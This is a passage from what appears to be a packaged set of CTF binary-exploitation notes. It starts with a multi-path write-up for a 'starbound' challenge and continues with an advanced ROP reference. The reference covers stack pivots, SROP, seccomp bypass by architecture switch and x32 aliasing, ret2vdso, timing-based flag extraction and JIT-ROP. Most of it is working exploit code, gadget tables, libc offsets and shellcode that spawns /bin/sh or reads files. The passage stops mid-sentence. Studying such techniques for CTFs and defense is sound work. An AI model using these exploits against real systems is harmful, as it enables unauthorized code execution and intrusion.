Path A — Stack Pivot → ROP → Leak libc → `system(\"/bin/sh\")`\n\n**Used by:** Solutions 100, 184, 1172, 1290, 1297, 1303, 1316, 1351, 1395, 14605, 18331, and many others\n\n**The dominant approach (~80% of solutions).**\n\n1. **Set name** to a stack-pivot gadget (e.g., `add esp, 0x1c; ret` at `0x08048e48` or `add esp, 0x10; pop; pop; pop; ret` at `0x0804a171`).\n\n2. **Send `-33` + padding + ROP chain** as the menu input. When the dispatcher calls `name[0:4]`, the pivot adjusts `esp` to point into the attacker-controlled input buffer, landing in the ROP chain.\n\n3. **ROP chain stage 1 — leak libc:**\n ```python\n # Typical ROP: puts(GOT_entry) → return to main\n rop = p32(puts_plt) + p32(main) + p32(puts_got)\n ```\n Leaks a resolved libc address (usually `puts`, `read`, or `__libc_start_main`).\n\n4. **ROP chain stage 2 — shell:**\n After re-entering main with the libc base known:\n ```python\n rop = p32(system) + p32(0xdeadbeef) + p32(binsh_addr)\n ```\n Calls `system(\"/bin/sh\")`.\n\n**Common stack pivot gadgets:**\n\n| Address | Gadget | Effect |\n|---------|--------|--------|\n| `0x08048e48` | `add esp, 0x1c; ret` | Skip 7 dwords into input |\n| `0x0804a171` | `add esp, 0x10; pop; pop; pop; ret` | Skip 7 dwords |\n| `0x0804997E` | `add esp, 0x1c; ret` (alternate) | Skip 7 dwords |\n| `0x080498e8` | `add esp, 0x88; pop; pop; ret` | Large skip |\n| `0x0804b36d` | `popal; ret` | Pop all registers from stack |\n| `0x0804a5fe` | `add esp, 0x20; pop; pop; pop; ret` | Skip 8 dwords |\n\n**Common ROP gadgets:**\n\n| Address | Gadget |\n|---------|--------|\n| `0x08048939` | `pop ebx; ret` |\n| `0x080499ef` | `pop esi; ret` |\n| `0x080494da` | `pop ebx; pop esi; pop edi; ret` |\n| `0x080491ba` | `pop ebx; pop esi; pop edi; pop ebp; ret` |\n| `0x08048c58` | `leave; ret` |\n| `0x080491bc` | `pop ebp; ret` |\n\n---\n\n### Path B — Format String Leak → One-Gadget Shell\n\n**Used by:** exp.py (the repository's exploit)\n\n1. **Set name** = `p32(0x08049C16)` (mid-function `do_bye` gadget).\n\n2. **Send format string payload as `-33` input:**\n ```python\n fmt = b\"-33|\" + p32(PUTS_GOT) + p32(MAIN_LOOP) + b\"%p%p%p%p\" + b\"MARK\" + b\"%s\"\n ```\n - `strtol(\"-33|...\")` → index -33 → calls the `do_bye` gadget\n - The gadget calls `__printf_chk(1, input_buffer)` — a format string\n - `%p%p%p%p` burns varargs 1–4, then `%s` dereferences `PUTS_GOT` → **libc leak**\n - `MAIN_LOOP` at input[8] serves as the return address for the gadget's `add esp; ret`\n\n3. **Set name** = `p32(libc_base + one_gadget)`.\n\n4. **Send `-33` with NUL-filled input** → calls `one_gadget` → shell.\n\n**Advantage:** No multi-stage ROP needed, simpler payload. **Constraint:** Requires `[esp+0x2c]==NULL` for the one-gadget.\n\n---\n\n### Path C — Open/Read/Write Flag (No libc Needed)\n\n**Used by:** Solutions 138, 174, 185, 1727, 16991\n\n1. **Set name** = pivot gadget + `\"/home/starbound/flag\\0\"`.\n\n2. **ROP chain** uses only binary PLT stubs (no libc):\n ```python\n rop = p32(open_plt) + p32(pppr) + p32(flag_str_addr) + p32(0) + p32(0)\n rop += p32(read_plt) + p32(pppr) + p32(3) + p32(bss_buf) + p32(0x100)\n rop += p32(write_plt) + p32(pppr) + p32(1) + p32(bss_buf) + p32(0x100)\n ```\n Opens the flag file, reads its contents to BSS, writes them to stdout.\n\n**Advantage:** Deterministic — no libc leak needed, no ASLR dependency. Works on first try.\n\n---\n\n### Path D — Stack Pointer Leak → Computed Index → Direct Call\n\n**Used by:** Solutions 1763, 18324, 10840\n\n1. **Leak a stack address** by using a large negative index (e.g., `-3118` or the `puts@GOT` index) that causes output containing stack data.\n\n2. **Compute the exact index** so the dispatch table lookup points into the **attacker's input on the stack**, which contains the target function address.\n\n3. **Call directly** into the stack-placed payload (e.g., `system` address placed in the input).\n\n**Variant (18324):** Leaks both stack and libc by sending oversized inputs with index `-10`. Then computes an index pointing into the input buffer itself, where `system` is placed, and appends `;/bin/sh\\0` to the input (since the input doubles as both the `strtol` argument and the `system` argument).\n\n---\n\n### Path E — GOT Overwrite → `strtol` → `system`\n\n**Used by:** Solution 1316\n\n1. **Leak libc** via ROP (puts GOT entry).\n2. **Use `read` to overwrite `strtol@GOT`** with `system`.\n3. **Send `/bin/sh\\0`** as the next menu input → `strtol(\"/bin/sh\")` becomes `system(\"/bin/sh\")`.\n\n---\n\n### Path F — Syscall ROP (No libc, No `system`)\n\n**Used by:** Solution 1324\n\n1. **Leak `read` address** from GOT. Compute `int 0x80` syscall gadget at `read + 0x1c`.\n2. **Use `xchg eax, ebx` / `xchg eax, ecx` / `xchg eax, edx` gadgets** to set registers for `execve(\"/bin/sh\", NULL, NULL)` (syscall number 11).\n3. **Set name** to pivot + `\"/bin/sh\\0\"`.\n4. **Overwrite `exit@GOT`** with the `int 0x80` address via `read`, then call `exit@PLT` → triggers `execve`.\n\n**Advantage:** Works without knowing libc version at all.\n\n---\n\n### Path G — `system(\" -33;/bin/sh\")` (Minimal)\n\n**Used by:** Solution 18324 (easier variant)\n\n1. **Set name** = `p32(puts_plt)`, index `-33` → leaks libc via `puts(input_buffer)`.\n2. **Set name** = `p32(system)`.\n3. **Send ` -33;/bin/sh\\0`** — `strtol` parses `-33` (with leading space), dispatches to `system`, and `system` receives the full string ` -33;/bin/sh` which executes `/bin/sh` after the semicolon.\n\n**Advantage:** Extremely elegant — the same input string serves as both the dispatch trigger AND the shell command.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Arbitrary function call | V1: name[0:4] via index -33 | Deterministic |\n| Stack pivot into input | V1 + gadget in name | Deterministic |\n| libc leak via puts/write ROP | Stack pivot + GOT read | Deterministic |\n| libc leak via format string | V3: `do_bye` mid-function gadget | Deterministic |\n| Stack address leak | V2: large negative index | Deterministic |\n| ORW flag read (no libc) | ROP using only PLT stubs | Deterministic |\n| Code execution | `system`/one-gadget/`execve` syscall | Deterministic |\n\n## Offsets (Remote libc: Ubuntu GLIBC 2.23-0ubuntu10, i386)\n\n```python\nputs = 0x5fca0\n__libc_start_main = 0x18540\nsystem = 0x3ada0\nread = 0xd5980\n\"/bin/sh\" = 0x15b82b\none_gadget = 0x3ac5e # execve(\"/bin/sh\", esp+0x2c, environ)\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `100.md` | A | Stack pivot → `puts` leak → `read` GOT overwrite → `system` | Two-stage ROP |\n| `138.md` | C | Stack pivot → ORW flag read | Ruby; no libc needed |\n| `174.md` | C | `add esp, 0x1c` pivot → open/read/write flag | Minimal, clean |\n| `184.md` | A | `add esp, 0x28` pivot → leak `__libc_start_main` → `system` | Stack pivot to BSS via `leave;ret` |\n| `185.md` | C | `popal;ret` pivot → open/read/write flag | Uses `popal` gadget |\n| `1006.md` | A | Stack pivot → `puts` leak → re-enter main → `system` | Two-stage, sets `/bin/bash` in name |\n| `1172.md` | A | `add esp, 0x1c` → `puts` leak → GOT overwrite `strtol` → `system` | |\n| `1290.md` | A | `puts` leak → `read` GOT overwrite → `puts(\"/bin/sh\")` as system | |\n| `1297.md` | A | Uses `pop esi;ret` → `call esi` gadget chain | Unique calling convention approach |\n| `1303.md` | E | `puts` leak → `read` overwrites `strtol@GOT` → `system` | GOT overwrite |\n| `1316.md` | E | DynELF to resolve `system` → GOT overwrite | Most complex; uses DynELF |\n| `1324.md` | F | Leak `read` → compute `int 0x80` → `execve` syscall ROP | No libc version needed |\n| `1351.md` | A | `puts` leak → stack pivot to BSS via `leave;ret` → `system` | |\n| `1395.md` | A | `write` leak → two-stage ROP → `system(\"/bin/sh\")` | |\n| `1727.md` | C | `add esp, 0x1c` pivot → ORW flag | Explicit flag path string in name |\n| `1763.md` | D | Leak stack via `-3118` index → compute index → `system` | Stack address brute |\n| `1803.md` | A | Ruby; `add esp, 0x88` pivot → `puts` leak → `system` | |\n| `10840.md` | D | Leak stack → compute index into input → `system` | |\n| `13019.md` | A | `add esp, 0x1c` pivot → `puts` leak → syscall `execve` | Uses `xchg` gadgets for registers |\n| `14605.md` | A | `add esp, 0x1c` pivot → `puts` leak → `system` | Clean two-stage |\n| `16991.md` | C | `popal;ret` → open/read/write flag | No libc needed |\n| `17704.md` | A | ret2libc (tried ret2dlresolve first) | |\n| `18324.md` | D+G | Leak stack+libc via `-10` → `system(\" -33;/bin/sh\")` | Elegant semicolon trick |\n| `18331.md` | A | LibcSearcher → `puts` leak → `system` | |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit (Path B: format string leak → one-gadget) |\n| `desc.txt` | Challenge description |\n| `artifacts/starbound` | Original challenge binary (i386, stripped) |\n| `solution/*.md` | Community write-ups (120 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13645,"content_sha256":"6c10454e4ddedac11b28dd94d994b955f39431a7c5c20d93b5902db7e0173878"},{"filename":"rop-advanced.md","content":"# CTF Pwn - Advanced ROP Techniques\n\n## Table of Contents\n- [Double Stack Pivot to BSS via leave;ret (Midnightflag 2026)](#double-stack-pivot-to-bss-via-leaveret-midnightflag-2026)\n- [SROP with UTF-8 Payload Constraints (DiceCTF 2026)](#srop-with-utf-8-payload-constraints-dicectf-2026)\n- [Seccomp Bypass](#seccomp-bypass)\n- [RETF Architecture Switch for Seccomp Bypass (Midnightflag 2026)](#retf-architecture-switch-for-seccomp-bypass-midnightflag-2026)\n- [Stack Shellcode with Input Reversal](#stack-shellcode-with-input-reversal)\n- [.fini_array Hijack](#fini_array-hijack)\n- [pwntools Template](#pwntools-template)\n - [Automated Offset Finding via Corefile (Crypto-Cat)](#automated-offset-finding-via-corefile-crypto-cat)\n- [ret2vdso — Using Kernel vDSO Gadgets (HTB Nowhere to go)](#ret2vdso--using-kernel-vdso-gadgets-htb-nowhere-to-go)\n - [Step 1 — Stack leak](#step-1--stack-leak)\n - [Step 2 — Write `/bin/sh` to known address](#step-2--write-binsh-to-known-address)\n - [Step 3 — Find vDSO base via AT_SYSINFO_EHDR](#step-3--find-vdso-base-via-at_sysinfo_ehdr)\n - [Step 4 — Dump vDSO and find gadgets](#step-4--dump-vdso-and-find-gadgets)\n - [Step 5 — execve ROP chain](#step-5--execve-rop-chain)\n- [Vsyscall ROP for PIE Bypass (Hack.lu 2015)](#vsyscall-rop-for-pie-bypass-hacklu-2015)\n- [x32 ABI Syscall Number Aliasing for Seccomp Bypass (BCTF 2017)](#x32-abi-syscall-number-aliasing-for-seccomp-bypass-bctf-2017)\n- [Time-Based Blind Shellcode When write() Blocked (DEF CON 2017)](#time-based-blind-shellcode-when-write-blocked-def-con-2017)\n- [JIT-ROP: Scan for syscall Byte in Leaked libc Function (Codegate 2018)](#jit-rop-scan-for-syscall-byte-in-leaked-libc-function-codegate-2018)\n- [ret2dl_resolve 64-bit (Codegate 2018)](#ret2dl_resolve-64-bit-codegate-2018)\n- [Prime-Only ROP via Goldbach Decomposition (PlaidCTF 2018)](#prime-only-rop-via-goldbach-decomposition-plaidctf-2018)\n- [Imperfect-Gadget Stack Pivot (RITSEC 2018)](#imperfect-gadget-stack-pivot-ritsec-2018)\n- [_fini_array Double-Entry Staged ROP (Insomnihack 2019)](#_fini_array-double-entry-staged-rop-insomnihack-2019)\n- [ret2libc via Statically-Linked libc + Embedded /bin/sh String (TAMUctf 2019)](#ret2libc-via-statically-linked-libc--embedded-binsh-string-tamuctf-2019)\n- [Useful Commands](#useful-commands)\n\nFor core ROP chain building, ret2csu, bad character bypass, exotic gadgets, and stack pivot via xchg, see [rop-and-shellcode.md](rop-and-shellcode.md).\n\n---\n\n## Double Stack Pivot to BSS via leave;ret (Midnightflag 2026)\n\n**Pattern (Eyeless):** Small stack overflow (22 bytes past buffer) — enough to overwrite RBP + RIP but too small for a ROP chain. No libc leak available. Use two `leave; ret` pivots to relocate execution to BSS, then chain `fgets` calls to write arbitrary-length ROP.\n\n**Stage 1 — Pivot to BSS:**\n```python\nBSS_STAGE = 0x404500 # writable BSS address\nLEAVE_RET = 0x4013d9 # leave; ret gadget\n\n# Overflow: 128-byte buffer + RBP + RIP\npayload = b'A' * 128\npayload += p64(BSS_STAGE) # overwrite RBP → BSS\npayload += p64(LEAVE_RET) # leave sets RSP = RBP (BSS), then ret\n```\n\n**Stage 2 — Chain fgets for large ROP:**\n```python\n# After pivot, RSP is at BSS_STAGE. Pre-place a mini-ROP there that\n# calls fgets(BSS+0x600, 0x700, stdin) to read the real ROP chain:\nPOP_RDI = 0x4013a5\nPOP_RSI_R15 = 0x4013a3\nSET_RDX_STDIN = 0x40136a # gadget that sets rdx = stdin FILE*\n\nstage2 = flat(\n SET_RDX_STDIN,\n POP_RDI, BSS_STAGE + 0x100, # destination buffer\n POP_RSI_R15, 0x700, 0, # size\n elf.plt['fgets'], # fgets(buf, 0x700, stdin)\n BSS_STAGE + 0x100, # return into the new ROP chain\n)\n```\n\n**Key insight:** `leave; ret` is equivalent to `mov rsp, rbp; pop rbp; ret`. Overwriting RBP controls where RSP lands after `leave`. Two pivots solve the \"too small for ROP\" problem: first pivot moves to BSS where a small bootstrap ROP calls `fgets` to load the full exploit.\n\n**When to use:** Overflow is too small for a full ROP chain AND the binary uses `fgets`/`read` (or similar input function) that can be called via PLT. BSS is always writable and at a known address (no PIE or PIE leaked).\n\n---\n\n## SROP with UTF-8 Payload Constraints (DiceCTF 2026)\n\n**Pattern (Message Store):** Rust binary where OOB color index reads memcpy from GOT, causing `memcpy(stack, BUFFER, 0x1000)` — a massive stack overflow. But `from_utf8_lossy()` validates the buffer first: any invalid UTF-8 triggers `Cow::Owned` with corrupted replacement data. **The entire 0x1000-byte payload must be valid UTF-8.**\n\n**Why SROP:** Normal ROP gadget addresses contain bytes >0x7f which are invalid single-byte UTF-8. SROP needs only 3 gadgets (set rax=15, call syscall) to trigger `sigreturn`, then a signal frame sets ALL registers for `execve(\"/bin/sh\", NULL, NULL)`.\n\n**UTF-8 multi-byte spanning trick:** Register fields in the signal frame are 8 bytes each, packed contiguously. A 3-byte UTF-8 sequence can start in one field and end in the next:\n\n```python\nfrom pwn import *\n\n# r15 is the field immediately before rdi in the sigframe\n# rdi = pointer to \"/bin/sh\" = 0x2f9fb0 → bytes [B0, 9F, 2F, ...]\n# B0, 9F are UTF-8 continuation bytes (10xxxxxx) — invalid as sequence start\n# Solution: set r15's last byte to 0xE0 (3-byte UTF-8 leader)\n# E0 B0 9F = valid UTF-8 (U+0C1F) spanning r15→rdi boundary\n\nframe = SigreturnFrame()\nframe.rax = 59 # execve\nframe.rdi = buf_addr + 0x178 # address of \"/bin/sh\\0\"\nframe.rsi = 0\nframe.rdx = 0\nframe.rip = syscall_addr\nframe.r15 = 0xE000000000000000 # Last byte 0xE0 starts 3-byte UTF-8 seq\n\n# ROP preamble: 3 UTF-8-safe gadgets\npayload = b'\\x00' * 0x48 # padding to return address\npayload += p64(pop_rax_ret) # set rax = 15 (sigreturn)\npayload += p64(15)\npayload += p64(syscall_ret) # trigger sigreturn\npayload += bytes(frame)\n# Place \"/bin/sh\\0\" at offset 0x178 in BUFFER\n```\n\n**When to use:** Any exploit where payload bytes pass through UTF-8 validation (Rust `String`, `from_utf8`, JSON parsers). SROP minimizes the number of gadget addresses that must be UTF-8-safe.\n\n**Key insight:** Multi-byte UTF-8 sequences (2-4 bytes) can span adjacent fields in structured data (signal frames, ROP chains). Set the leader byte (0xC0-0xF7) as the last byte of one field so continuation bytes (0x80-0xBF) in the next field form a valid sequence.\n\n## Seccomp Bypass\n\nAlternative syscalls when seccomp blocks `open()`/`read()`:\n- `openat()` (257), `openat2()` (437, often missed!), `sendfile()` (40), `readv()`/`writev()`\n\n**Check rules:** `seccomp-tools dump ./binary`\n\nSee [advanced.md](advanced.md) for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, `scmp_arg_cmp` struct layout.\n\n## RETF Architecture Switch for Seccomp Bypass (Midnightflag 2026)\n\n**Pattern (Eyeless):** Seccomp blocks `execve`, `execveat`, `open`, `openat` in 64-bit mode. Switch to 32-bit (IA-32e compatibility mode) where syscall numbers differ and the filter does not apply.\n\n**How it works:** The `retf` (far return) instruction pops RIP then CS from the stack. Setting `CS = 0x23` switches the CPU to 32-bit compatibility mode. In 32-bit mode, `int 0x80` uses different syscall numbers: `open=5`, `read=3`, `write=4`, `exit=1`.\n\n**ROP chain to switch modes:**\n```python\nPOP_RDX_RBX = libc_base + 0x8f0c5 # pop rdx; pop rbx; ret\nPOP_RDI = 0x4013a5\nPOP_RSI_R15 = 0x4013a3\nRETF = libc_base + 0x294bf # retf gadget in libc\n\n# Step 1: mprotect BSS as RWX for shellcode\nrop = flat(POP_RDI, 0x404000) # addr = BSS page\nrop += flat(POP_RSI_R15, 0x1000, 0) # size = page\nrop += flat(POP_RDX_RBX, 7, 0) # prot = RWX\nrop += flat(libc_base + libc.sym.mprotect)\n\n# Step 2: Far return to 32-bit shellcode on BSS\nrop += flat(RETF)\nrop += p32(0x404a80) # 32-bit EIP (shellcode address on BSS)\nrop += p32(0x23) # CS = 0x23 (IA-32e compatibility mode)\n```\n\n**32-bit shellcode (open/read/write flag):**\n```nasm\nmov esp, 0x404100 ; set up 32-bit stack\npush 0x67616c66 ; \"flag\" (reversed)\npush 0x2f2f2f2f ; \"////\"\nmov ebx, esp ; ebx = filename pointer\n\nmov eax, 5 ; SYS_open (32-bit)\nxor ecx, ecx ; O_RDONLY\nint 0x80 ; open(\"////flag\", O_RDONLY)\n\nmov ebx, eax ; fd from open\nmov ecx, esp ; buffer\nmov edx, 0x100 ; size\nmov eax, 3 ; SYS_read (32-bit)\nint 0x80\n\nmov edx, eax ; bytes read\nmov ecx, esp ; buffer\nmov ebx, 1 ; stdout\nmov eax, 4 ; SYS_write (32-bit)\nint 0x80\n\nmov eax, 1 ; SYS_exit\nint 0x80\n```\n\n**Key insight:** Seccomp filters configured for `AUDIT_ARCH_X86_64` do not check 32-bit `int 0x80` syscalls. The `retf` gadget (found in libc) switches architecture by loading CS=0x23. Requires making a memory region executable first via `mprotect`, since 32-bit shellcode must run from writable+executable memory.\n\n**Finding retf in libc:**\n```bash\nROPgadget --binary libc.so.6 | grep retf\n# Or search for byte 0xcb:\nobjdump -d libc.so.6 | grep -w retf\n```\n\n**When to use:** Seccomp blocks critical 64-bit syscalls (`open`, `openat`, `execve`) but does not use `SECCOMP_FILTER_FLAG_SPEC_ALLOW` or check `AUDIT_ARCH`. Combine with `mprotect` to make BSS/heap executable for the 32-bit shellcode.\n\n---\n\n## Stack Shellcode with Input Reversal\n\n**Pattern (Scarecode):** Binary reverses input buffer before returning.\n\n**Strategy:**\n1. Leak address via info-leak command (bypass PIE)\n2. Find `sub rsp, 0x10; jmp *%rsp` gadget\n3. Pre-reverse shellcode and RIP overwrite bytes\n4. Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)\n5. Place trampoline (`jmp short`) to hop back into NOP sled + shellcode\n\n**Null-byte avoidance with `scanf(\"%s\")`:**\n- Can't embed `\\x00` in payload\n- Use partial pointer overwrite (6 bytes) -- top 2 bytes match since same mapping\n- Use short jumps and NOP sleds instead of multi-address ROP chains\n\n## .fini_array Hijack\n\n**When to use:** Writable `.fini_array` + arbitrary write primitive. When `main()` returns, entries called as function pointers. Works even with Full RELRO.\n\n```python\n# Find .fini_array address\nfini_array = elf.get_section_by_name('.fini_array').header.sh_addr\n# Or: objdump -h binary | grep fini_array\n\n# Overwrite with format string %hn (2-byte writes)\nwrites = {\n fini_array: target_addr & 0xFFFF,\n fini_array + 2: (target_addr >> 16) & 0xFFFF,\n}\n```\n\n**Advantages over GOT overwrite:** Works even with Full RELRO (`.fini_array` is in a different section). Especially useful when combined with RWX regions for shellcode.\n\n## pwntools Template\n\n```python\nfrom pwn import *\n\nelf = ELF('./binary', checksec=False)\ncontext.binary = elf\ncontext.log_level = 'debug'\n\nHOST = args.HOST or 'host'\nPORT = args.PORT or 1337\n\ndef conn():\n if args.GDB:\n return gdb.debug(elf.path, gdbscript='init-pwndbg\\ncontinue')\n elif args.REMOTE:\n return remote(HOST, PORT)\n return process(elf.path)\n\nio = conn()\n# exploit here\nio.interactive()\n```\n\n### Automated Offset Finding via Corefile (Crypto-Cat)\n\nAutomatically determine buffer overflow offset without manual `cyclic -l`:\n```python\ndef find_offset(exe):\n p = process(exe, level='warn')\n p.sendlineafter(b'>', cyclic(500))\n p.wait()\n # x64: read saved RIP from stack pointer\n offset = cyclic_find(p.corefile.read(p.corefile.sp, 8))\n # x86: use pc directly\n # offset = cyclic_find(p.corefile.pc)\n log.warn(f'Offset: {offset}')\n return offset\n```\n\n**Key insight:** pwntools auto-generates a core file from the crashed process. Reading the saved return address from `corefile.sp` (x64) or `corefile.pc` (x86) and passing it to `cyclic_find()` gives the exact offset. Eliminates manual GDB inspection.\n\n## ret2vdso — Using Kernel vDSO Gadgets (HTB Nowhere to go)\n\n**Pattern:** Statically-linked binary with minimal functions and zero useful ROP gadgets (no `pop rdi`, `pop rsi`, `pop rax`, etc.). The Linux kernel maps a vDSO (Virtual Dynamic Shared Object) into every process, and it contains enough gadgets for `execve`.\n\n### Step 1 — Stack leak\n\nOverflow a buffer and read back more bytes than sent to leak stack pointers:\n```python\np.send(b'A' * 0x20)\nresp = p.recv(0x80)\nleak = u64(resp[0x30:0x38])\nstackbase = (leak & 0x0000FFFFFFFFF000) - 0x20000\n```\n\n### Step 2 — Write `/bin/sh` to known address\n\nUse the binary's own `read` function via ROP to place `/bin/sh\\0` at a page-aligned stack address:\n```python\npayload = b'B' * 32 + p64(READ_FUNC) + p64(LOOP) + p64(0x8) + p64(stackbase)\np.sendline(payload)\np.send(b'/bin/sh\\x00')\n```\n\n### Step 3 — Find vDSO base via AT_SYSINFO_EHDR\n\nDump the stack using the binary's `write` function. Search for `AT_SYSINFO_EHDR` (auxv type `0x21`) which holds the vDSO base address:\n```python\n# Dump 0x21000 bytes from stackbase\nfor i in range(0, len(stackdump) - 15, 8):\n val = u64(stackdump[i:i+8])\n if val == 0x21: # AT_SYSINFO_EHDR\n next_val = u64(stackdump[i+8:i+16])\n if 0x7f0000000000 \u003c= next_val \u003c= 0x7fffffffffff and (next_val & 0xFFF) == 0:\n vdso_base = next_val\n break\n```\n\n### Step 4 — Dump vDSO and find gadgets\n\nDump 0x2000 bytes from `vdso_base` using the binary's `write` function, then search for gadgets. Common vDSO gadgets:\n```python\nPOP_RDX_RAX_RET = vdso_base + 0xba0 # pop rdx; pop rax; ret\nPOP_RBX_R12_RBP_RET = vdso_base + 0x8c6 # pop rbx; pop r12; pop rbp; ret\nMOV_RDI_RBX_SYSCALL = vdso_base + 0x8e3 # mov rdi, rbx; mov rsi, r12; syscall\n```\n\n### Step 5 — execve ROP chain\n\n```python\npayload = b'A' * 32\npayload += p64(POP_RDX_RAX_RET)\npayload += p64(0x0) # rdx = NULL (envp)\npayload += p64(59) # rax = execve\npayload += p64(POP_RBX_R12_RBP_RET)\npayload += p64(stackbase) # rbx → rdi = &\"/bin/sh\"\npayload += p64(0x0) # r12 → rsi = NULL (argv)\npayload += p64(0xdeadbeef) # rbp (dummy)\npayload += p64(MOV_RDI_RBX_SYSCALL)\n```\n\n**Key insight:** The vDSO is kernel-specific — different kernels have different gadget offsets. Always dump the remote vDSO rather than assuming local offsets. The auxv `AT_SYSINFO_EHDR` (type 0x21) on the stack is the reliable way to find the vDSO base address.\n\n**Detection:** Statically-linked binary with few functions, no libc, and no useful gadgets. QEMU-hosted challenges often run custom kernels with unique vDSO layouts.\n\n---\n\n## Vsyscall ROP for PIE Bypass (Hack.lu 2015)\n\nOn older Linux kernels, vsyscall page is mapped at a fixed address (`0xffffffffff600000-0xffffffffff601000`) regardless of ASLR/PIE. Each vsyscall entry ends with `ret`, providing gadgets at known addresses:\n\n- `0xffffffffff600000` — gettimeofday (ret at +0x9)\n- `0xffffffffff600400` — time (ret at +0x9)\n- `0xffffffffff600800` — getcpu (ret at +0x9)\n\nUse vsyscall `ret` gadgets to slide the stack to a partial return address overwrite:\n\n```python\nfrom pwn import *\n\npayload = b'A' * 72 # padding to return address\npayload += p64(0xffffffffff600400) # vsyscall time: acts as NOP-ret\npayload += p64(0xffffffffff600400) # second NOP-ret for alignment\npayload += b\"\\x8b\\x10\" # partial overwrite to target (2 bytes)\n```\n\n**Key insight:** Vsyscall addresses are fixed even with PIE+ASLR. Modern kernels emulate vsyscalls (trap to kernel), but the addresses remain predictable. Check with `cat /proc/self/maps | grep vsyscall`.\n\n**Note:** Some newer kernels disable vsyscall entirely (`vsyscall=none`). Verify availability before relying on this technique.\n\n---\n\n## x32 ABI Syscall Number Aliasing for Seccomp Bypass (BCTF 2017)\n\n**Pattern:** Linux x32 ABI (32-bit pointers on 64-bit kernel) uses syscall numbers with bit 30 set (`0x40000000`). Most seccomp BPF filters only check the low 32 bits against known syscall numbers, missing the x32 variants.\n\n```c\n// Standard execve blocked by seccomp: syscall 59\n// x32 ABI variant: syscall 0x40000000 | 59 = 0x4000003B\n// Often passes through BPF filters that check for exact match on 59\nsyscall(0x4000003B, \"/bin/sh\", NULL, NULL);\n```\n\n```python\nfrom pwn import *\n\n# ROP chain using x32 ABI syscall number to bypass seccomp\npop_rax = libc_base + rax_gadget\npop_rdi = libc_base + rdi_gadget\npop_rsi = libc_base + rsi_gadget\npop_rdx = libc_base + rdx_gadget\nsyscall_ret = libc_base + syscall_gadget\n\nrop = flat(\n pop_rax, 0x4000003B, # x32 execve (bypasses seccomp)\n pop_rdi, binsh_addr, # \"/bin/sh\"\n pop_rsi, 0, # argv = NULL\n pop_rdx, 0, # envp = NULL\n syscall_ret, # trigger x32 execve\n)\n```\n\n**Key insight:** The x32 ABI ORs `0x40000000` into syscall numbers. Seccomp filters checking for `SCMP_ACT_KILL` on `__NR_execve` (59) miss `__NR_execve | __X32_SYSCALL_BIT` (0x4000003B), which the kernel still dispatches to the same handler. This works on kernels compiled with `CONFIG_X86_X32=y` (common on older distributions).\n\n**When to recognize:** Seccomp filter blocks specific syscall numbers via exact match or range check. Dump the BPF with `seccomp-tools dump ./binary` and check whether it validates the `AUDIT_ARCH` or masks off the x32 bit before comparing. If neither, x32 aliasing bypasses the filter.\n\n**Mitigation check:** Modern seccomp policies use `SECCOMP_RET_KILL_PROCESS` and verify `AUDIT_ARCH_X86_64` explicitly, blocking this technique.\n\n**References:** BCTF 2017\n\n---\n\n## Time-Based Blind Shellcode When write() Blocked (DEF CON 2017)\n\n**Pattern:** When seccomp blocks all output syscalls (`write`, `sendto`, `writev`), use a timing side-channel to exfiltrate flag data character-by-character: compare each byte against a guess, loop on match.\n\n```nasm\n; Read flag into buffer, then compare character N\n; Assumes flag has been read into rsi via allowed read() syscall\nmov al, [rsi + N] ; flag byte N\ncmp al, 0x41 ; compare with guess 'A'\njne done ; skip if no match\n; Timing loop: burns ~4 seconds on match\nxor ecx, ecx\n.loop: inc ecx\ncmp ecx, 0xffffffff\njne .loop\ndone: xor edi, edi\nmov eax, 60 ; exit\nsyscall\n```\n\n```python\nfrom pwn import *\nimport time\n\nFLAG_LEN = 40\nCHARSET = string.printable\n\ndef guess_byte(offset, guess_char):\n \"\"\"Send shellcode that delays if flag[offset] == guess_char\"\"\"\n sc = shellcraft.amd64.linux.open(\"flag.txt\", 0)\n sc += shellcraft.amd64.linux.read(\"rax\", \"rsp\", 100)\n sc += f\"\"\"\n mov al, byte ptr [rsp + {offset}]\n cmp al, {ord(guess_char)}\n jne done\n xor ecx, ecx\n loop:\n inc ecx\n cmp ecx, 0xffffffff\n jne loop\n done:\n xor edi, edi\n mov eax, 60\n syscall\n \"\"\"\n r = remote(host, port)\n r.send(asm(sc))\n start = time.time()\n try:\n r.recvall(timeout=6)\n except:\n pass\n elapsed = time.time() - start\n r.close()\n return elapsed > 3.0 # Match if response took > 3 seconds\n\nflag = \"\"\nfor i in range(FLAG_LEN):\n for c in CHARSET:\n if guess_byte(i, c):\n flag += c\n print(f\"Flag so far: {flag}\")\n break\n```\n\n**Key insight:** When seccomp blocks all output syscalls (`write`, `sendto`, `writev`), a flag byte can still be exfiltrated by comparing it against a guessed value and burning CPU time on match. The response time difference (instant vs ~4 seconds) reveals whether the guess was correct. Requires up to 256 * flag_length connections worst case, but printable ASCII reduces this to ~95 * flag_length.\n\n**When to recognize:** Seccomp allows `open`/`read` but blocks all write-family syscalls. Also applicable when the binary has no output path at all (e.g., embedded systems, bare-metal challenges).\n\n**References:** DEF CON 2017\n\n---\n\n## JIT-ROP: Scan for syscall Byte in Leaked libc Function (Codegate 2018)\n\n**Pattern:** Instead of identifying the remote libc version to find gadgets, leak a GOT entry (e.g., `read@GOT`), then read the machine code of that function to find a `syscall` instruction within it. Use the `read()` return value to control `rax` for the syscall number.\n\n**Exploitation:**\n```python\nfrom pwn import *\n\n# Step 1: Leak read@GOT address via format string / arbitrary read\nread_addr = leak_got(elf.got['read'])\nlog.info(f\"read() @ {hex(read_addr)}\")\n\n# Step 2: Read bytes within read() function body\n# Use an arbitrary read primitive (e.g., format string %s, or read() itself)\nread_bytes = read_memory(read_addr, 0x100)\n\n# Step 3: Find syscall opcode (0x0f 0x05) within read()\nsyscall_offset = read_bytes.index(b'\\x0f\\x05')\nsyscall_addr = read_addr + syscall_offset\nlog.info(f\"syscall @ {hex(syscall_addr)}\")\n\n# Step 4: Overwrite an unused GOT entry (e.g., srand) with syscall address\nwrite_got(elf.got['srand'], syscall_addr)\n\n# Step 5: Build ROP chain for execve via syscall\n# Trick: read() return value sets rax, so read exactly 59 bytes for 